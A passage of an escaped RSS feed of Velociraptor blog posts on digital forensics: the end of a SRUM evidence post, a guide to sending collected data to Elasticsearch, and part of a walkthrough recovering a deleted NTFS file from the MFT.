class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Within minutes I was able to determine exactly which user executed the binary, and on which endpoint. If a machine is not online when I first launched the hunt, it will run the hunt when it next connected to the server and deliver its results later.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-31_digging-into-the-system-resource-usage-monitor-srum-afbadb1a375/../../img/1_p7m7XfByE0RzuaeCB-GEfw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;SRUM is an excellent source of evidence of execution of binaries. In practice we often see upwards of 60 days of evidence within the ESE database — so it goes back quite a long time!&lt;/p&gt;&#xA;&lt;p&gt;There is a wealth of information available within the SRUM database, but current Velociraptor artifacts have some limitations:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The data written to the SRUM ESE database is first cached in the registry and then flushed to the database periodically (This is why much of the time the &lt;strong&gt;Timestamp&lt;/strong&gt; field will be much later than the &lt;strong&gt;EndTime)&lt;/strong&gt;. Currently Velociraptor’s artifacts are not able to parse the registry cache so very recent executions will probably be missed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Currently Velociraptor only parses a few tables from the SRUM database, but many additional tables appear to be useful.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These limitations are likely to improve in future as more artifacts are written to fully extract information the SRUM database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;training&#34;&gt;Training&lt;/h2&gt;&#xA;&lt;p&gt;If you happen to be in Sydney or Melbourne and would like to learn more about incident response techniques such as the SRUM database and how to apply them with Velociraptor, consider joining us in our &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;upcoming training events&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor to Elasticsearch</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/</link>
      <pubDate>Sun, 08 Dec 2019 23:50:52 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/</guid>
      <description>&lt;h2 id=&#34;taking-your-data-elsewhere&#34;&gt;Taking your data elsewhere…&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_mAd_VmUqHkyZgz-hCL2ctQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since release 0.3.5 Velociraptor includes an Elastic VQL plugin plus two built-in server artifacts that demonstrate how to make use of this plugin.&lt;/p&gt;&#xA;&lt;h2 id=&#34;set-your-data-free&#34;&gt;Set your data free!&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is great at collecting oceans of information from a vast fleet of client machines but that information is, by default, only stored locally on the Velociraptor server.&lt;/p&gt;&#xA;&lt;p&gt;In a typical deployment, responders and analysts tend to either…&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;use the VR GUI to browse/search the collected data, or&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;download/retrieve the data in the form of CSV or JSON files and work with it manually, possibly through an automated sequence of “post-processing” steps.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;query the data via the Velociraptor API&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The problem is that beyond the simplest deployment scenarios these approaches run into limitations pretty quickly due to &lt;a href=&#34;https://hackernoon.com/the-3-vs-of-big-data-analytics-1afd59692adb&#34; target=&#34;_blank&#34; &gt;the 3 Vs&lt;/a&gt; (Velocity, Variety &amp;amp; Volume) of data in modern IT environments. By design Velociraptor is a high-performance data collection tool and doesn’t intend to be an information management or analytics tool. For short-term/temporary deployments the included data management capabilities may be quite sufficient but for long-term/permanent deployments we don’t want our data to be so self-contained. We want to scale easily and reap the benefits of correlating our VR data with other security data sources, for example firewall/IPS logs and other detection systems.&lt;/p&gt;&#xA;&lt;p&gt;In the DFIR and InfoSec world many popular tools rely on the &lt;a href=&#34;https://www.elastic.co/products/&#34; target=&#34;_blank&#34; &gt;Elastic Stack&lt;/a&gt; to provide backend storage and analytics capabilities rather than reinventing the wheel in that regard. Having the data in Elasticsearch means that you can apply your standard analytics tools and techniques without much concern for the origin of the data, and thus have a unified view of data from a variety of disparate sources.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor supports this information management approach by providing out-of-the-box Elastic plugin and two VQL artifacts which together provide the capability of sending data to Elasticsearch.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sending-flows-to-elastic&#34;&gt;Sending Flows to Elastic&lt;/h2&gt;&#xA;&lt;p&gt;The first VQL artifact that we will use to accomplish our goal is named &lt;em&gt;Elastic.Flows.Upload&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This artifact sends the results of &lt;a href=&#34;https://www.velocidex.com/docs/user-interface/artifacts/client_artifacts/&#34; target=&#34;_blank&#34; &gt;Flows&lt;/a&gt; to Elasticsearch. It’s the easiest one to get started with because all you have to do is add the artifact to &lt;a href=&#34;https://www.velocidex.com/docs/user-interface/artifacts/server_events/&#34; target=&#34;_blank&#34; &gt;Server Monitoring&lt;/a&gt; and tweak a parameter or two if necessary.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_iDsgXuKmszwthN8EX8AHsw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;This is where Server Monitoring artifacts are hidden!&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    This is where Server Monitoring artifacts are hidden!&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;This is where Server Monitoring artifacts are hidden!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see in the screenshot below, the default parameters will work if you have Elasticsearch installed locally and listening on the default IP and port.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_AUrPhobirbEaekF0fK3Jow.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If not then you can easily change these details to match your environment. The artifact parameter named &lt;em&gt;ArtifactNameRegex&lt;/em&gt; defaults to including the flow results from &lt;em&gt;&lt;strong&gt;all&lt;/strong&gt;&lt;/em&gt; artifacts. If you don’t want the output of all artifacts to go to Elastic then here you can also specify a subset of artifact names using a crafty regex.&lt;/p&gt;&#xA;&lt;p&gt;Once you’ve added the *Elastic.Flows.Upload *artifact to Server Monitoring you can now kick off a flow or two to generate some data. Then go look in Elastic (via Kibana of course, but remember to first create a suitable index pattern so that you can see the data! An initial Kibana index pattern of “*artifact_**” will have you covered.)&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_MWEk71L6_mBkmpq999ihJA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Whoa! It actually worked!&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Whoa! It actually worked!&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Whoa! It actually worked!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You’ll notice that the Elastic index name is based on the Velociraptor client artifact name. So if you prefer, you can create distinct Kibana index patterns that will allow you to view and search through only a single artifact type at a time.&lt;/p&gt;&#xA;&lt;p&gt;Expanding the view for a single document you should see something like this:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_ozK_r9SyG-3BLMUYQM82gg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;And that’s how easy it is to get your data into Elastic!&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;If you have an Elasticsearch cluster that uses authentication, non-standard ports or other customizations, you can create a custom artifact by copying the &lt;strong&gt;Elastic.Flows.Upload&lt;/strong&gt; artifact and adding &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/4d19d37191500b5f01f064586f8940a4b1a5dccf/vql/server/elastic.go#L56&#34; target=&#34;_blank&#34; &gt;additional parameters&lt;/a&gt; to it in order to make it suit your non-standard environment.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;sending-client-events-to-elastic&#34;&gt;Sending Client Events to Elastic&lt;/h2&gt;&#xA;&lt;p&gt;This is slightly less easy than the previous step but only because it requires that you first configure one or more artifacts to collect &lt;a href=&#34;https://www.velocidex.com/docs/user-interface/artifacts/client_events/&#34; target=&#34;_blank&#34; &gt;client events&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once the client events are being collected and received by the VR server, the &lt;em&gt;Elastic.Events.Clients&lt;/em&gt; artifact will take care of forwarding these events to Elastic &lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The artifact supports forwarding events from 4 built-in client event artifacts by default. These client event types can be selected/deselected and with a bit of customization even more types can be added to suit your needs:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows.Detection.PsexecService&lt;/li&gt;&#xA;&lt;li&gt;Windows.Events.DNSQueries&lt;/li&gt;&#xA;&lt;li&gt;Windows.Events.ProcessCreation&lt;/li&gt;&#xA;&lt;li&gt;Windows.Events.ServiceCreation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_tsp_GZaSQBuVNDcWdU0TXw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To get the client events flowing to Elastic we must add the *Elastic.Events.Clients *artifact to Server Monitoring, just as we did with the &lt;em&gt;Elastic.Flows.Upload&lt;/em&gt; artifact in the previous section.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_CjlQuXfmG0YrsaGtB7wlUw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Select the Client Artifacts that you are already collecting&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Select the Client Artifacts that you are already collecting&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Select the Client Artifacts that you are &lt;strong&gt;already&lt;/strong&gt; collecting&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;When adding the artifact make sure to select the client event types that you would like to have forwarded. Also configure the Elastic IP:port. If your Elastic server needs further options than are available in the artifact parameters then simply create a copy of the &lt;em&gt;Elastic.Events.Clients&lt;/em&gt; artifact and add the additional &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/4d19d37191500b5f01f064586f8940a4b1a5dccf/vql/server/elastic.go#L56&#34; target=&#34;_blank&#34; &gt;options&lt;/a&gt; to the custom artifact.&lt;/p&gt;&#xA;&lt;p&gt;As before, we now go to Kibana to check out the results…&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-12-08-velociraptor-to-elasticsearch-3a9fc02c6568/../../img/1_4-AlVbICs9O_hUjKBSNung.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Are you tired of winning yet?&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Are you tired of winning yet?&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;By integrating Velociraptor with the mature and widely-adopted Elastic&#xA;Stack we can achieve significant scalability benefits. This also means&#xA;that Velociraptor data can be made available to analysts who may not&#xA;have the time or inclination to learn yet another tool. Having the&#xA;data in Elastic also allows us to leverage the many excellent analysis&#xA;and detection tools that have blossomed around the Elastic ecosystem,&#xA;as well as make use of existing organizational expertise in these&#xA;tools. The data can furthermore be enriched, combined and correlated&#xA;with data from a wide variety of security tools that make use of&#xA;Elastic as a data backend.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Recovering deleted NTFS Files with Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/</link>
      <pubDate>Fri, 15 Nov 2019 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__UeLogCK7iLyCv__VWc7RMRA.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;On a recent engagement we responded to an intrusion where the attacker has added a new scheduled task to the Windows Task Scheduler directory (&lt;em&gt;%systemroot%\System32\Task&lt;/em&gt;) some time ago. This is a common TTP for achieving persistence (See &lt;a href=&#34;https://attack.mitre.org/techniques/T1053/&#34; target=&#34;_blank&#34; &gt;Mitre Att&amp;amp;ck&lt;/a&gt;). Unfortunately the actual task file was later removed and event logs were cycled past the time of interest.&lt;/p&gt;&#xA;&lt;p&gt;In that case we were able to use Velociraptor to employ some deep forensic techniques and with a bit of luck were able to recover the deleted task file.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will explain the technique and demonstrate it on a deliberately deleted file. It should be noted that this technique relies on the file not being overwritten and the MFT entry not being reused by the system. So there is a rather large probability that it won’t work for any specific file. It is worth knowing though, just in case you get lucky and are able to recover a file critical to your incident!&lt;/p&gt;&#xA;&lt;h4 id=&#34;ntfs-and-the-master-filetable&#34;&gt;NTFS and The Master File Table&lt;/h4&gt;&#xA;&lt;p&gt;On Windows systems the most common filesystem is the NTFS filesystem. I won’t go into details about NTFS as there are many great references — the following description is extremely simplified and mentions just the concepts required to follow the discussion.&lt;/p&gt;&#xA;&lt;p&gt;NTFS uses a large file called the $MFT — the master file table, containing the metadata of all files on the volume. This file is essentially an array of equal sized structures called MFT entries. Each entry has an MFT ID (which is the index of the entry in the array). Thus MFT Entry 0 is the first entry in the $MFT file, entry 100 is the 100th entry and so on.&lt;/p&gt;&#xA;&lt;p&gt;Each file on disk is represented by one or more MFT entries. In NTFS, files contain multiple attributes, such as the file’s names (long name and/or short names) and standard information like timestamps etc. The file’s MFT entry contains information about the file’s attributes. One of the most important attributes for a file in NTFS is the $DATA attribute — which is also stored in the MFT entry for the file. The $DATA attribute contains the file’s runlist — essentially a list of clusters (disk sectors) containing the file’s actual data.&lt;/p&gt;&#xA;&lt;p&gt;When a file is deleted, the MFT Entry for the file is marked as unallocated and is free to be used by the Operating System to store another file. If we are lucky though, the OS has not reused the MFT entry for the deleted file of interest, and we would be able to still read the data.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, when a file is deleted, the blocks that store the file’s data are also marked as unallocated, and are free for reuse — but they are not actually wiped and so might be available for recovery.&lt;/p&gt;&#xA;&lt;p&gt;This post is about trying to recover such deleted files from NTFS. This is the realm of deep forensic analysis but Velociraptor allows us to perform this analysis instantly and remotely on the live system — giving a unique capability for recovering evidence of intrusions quickly and efficiently.&lt;/p&gt;&#xA;&lt;h4 id=&#34;scenario&#34;&gt;Scenario&lt;/h4&gt;&#xA;&lt;p&gt;To demonstrate this scenario I will create a file called “secret_file.txt”. I will paste a familiar text into the file. I will then delete the file and try to recover it using deep NTFS forensic analysis.&lt;/p&gt;&#xA;&lt;h4 id=&#34;the-setup&#34;&gt;The setup&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__WfcNInJv6JcYN2CL__dJAgg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I will now dump the MFT from the endpoint by collecting the &lt;strong&gt;Windows.NTFS.MFT&lt;/strong&gt; artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__g4O0YGpky5hH__P2TScT7zQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This artifact will cause the endpoint to parse the $MFT file and emit a single row for each MFT entry that represents a file on disk. The VQL Query shown above simply calls on the &lt;em&gt;parse_mft()&lt;/em&gt; VQL plugin. Note that this is different than simply collecting the $MFT file as can be done with the &lt;strong&gt;Windows.KapeFiles.Targets&lt;/strong&gt; artifact — in that case we still need to parse the $MFT with another tool. This time we parse the $MFT on the endpoint itself and simply stream the results to the server.&lt;/p&gt;&#xA;&lt;p&gt;The nice thing about parsing the entire $MFT is that we now have a complete record of all files on the system (without having to walk directories etc). However this table is rather large! On my test system the produced CSV file is over 130mb in size (Being text it compresses really well though!).&lt;/p&gt;&#xA;&lt;h4 id=&#34;performance-check&#34;&gt;Performance check&lt;/h4&gt;&#xA;&lt;p&gt;This particular collection is rather heavy so I always check Velociraptor’s impact on the endpoint when I run such heavy collections. I simply open the &lt;strong&gt;Host Information&lt;/strong&gt; screen and click the &lt;strong&gt;VQL Drilldown&lt;/strong&gt; to see the client’s CPU and memory footprint as the query is running (Velociraptor collects its own footprint telemetry constantly).&lt;/p&gt;&#xA;&lt;p&gt;In this case the query took around 5 minutes to fully complete, the CPU load spiked up to 150% for about 1 minute and the rest of the time was spent sending the large payload to the server with minimal CPU utilization. Top memory footprint was 120Mb for a few minutes falling to the baseline of 30mb quickly after the query completed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__HZsiiepiiL__PYUIz7zuHUA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If the collection was taking too long or using up too many resource on&#xA;the endpoint, I can always cancel it by clicking the “Stop” button in&#xA;the &lt;strong&gt;Collected Artifacts&lt;/strong&gt; GUI. Velociraptor will immediately abort&#xA;the query on the endpoint when the collection is cancelled in the GUI.&lt;/p&gt;&#xA;&lt;h4 id=&#34;viewing-theresults&#34;&gt;Viewing the results&lt;/h4&gt;&#xA;&lt;p&gt;We can view the results of the query by clicking the Results tab. We see a number of useful columns including the EntryNumber (i.e. the MFT ID we discussed before), the InUse column indicates if the file is still in use or deleted as well as the full path of the file stored at that MFT ID. Note that this artifact simply prints the file stored at each consecutive MFT entry — there are over 255,000 rows in our example! (Not shown are created and modified timestamps as well for each file)&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__zKoK8jx__DiM17yhyDofLTQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The Velociraptor GUI only displays the first 500 rows from each artifact in order to keep the GUI fast and responsive. Because this query returned over 250k rows, we would need to download the data and post-process it. The easiest way is to prepare a download package and download it from the provided link. The CSV file can then be extracted and processed with other tools (e.g. grep or a database).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__GWpawiYVVZxrUgkmD__moBg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;tweaking-thequery&#34;&gt;Tweaking the query&lt;/h4&gt;&#xA;&lt;p&gt;In this exercise we already know the name of the file we are after is &lt;strong&gt;secret.txt&lt;/strong&gt; so we do not really need a complete dump of the entire MFT — we only want all the MFT entries with the filename containing the word “secret”. We can therefore customize the artifact by adding a VQL &lt;strong&gt;WHERE&lt;/strong&gt; clause after the query to only send interesting rows to the server. We will add a new parameter &lt;strong&gt;FullPathRegex&lt;/strong&gt; allowing the user to customize the filtering terms in the future (for example search for deletions in the Tasks directory).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__AQwNLywmhyRkWS4jwhzeow.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now we can collect the customized artifact specifying that only rows matching “secret” will be retrieved.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__yaJsmM9lSFeGU8xW__q5qmA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The result is similar to the full dump above but now only 5 rows are returned from the endpoint. This is much faster than getting all 130mb CSV file and post processing it (Collection time is less than 1 minute now). By refining the artifact we have made Velociraptor more surgical in its approach — only returning the data we really want&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__hH7zhLQt__TK2JgWOVFvrDw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see in the above that the file is deleted (InUse is false) and its EntryNumber is 86474. We can use this to try and recover the file’s data by collecting the &lt;strong&gt;Windows.NTFS.Recover&lt;/strong&gt; artifact for this MFT entry&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__ndPT5EnGcAm5fJYaHmbcAg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Windows.NTFS.Recover&lt;/strong&gt; simply uploads to the server all NTFS streams belonging to the MFT entry specified. We can see both $FILE_NAME 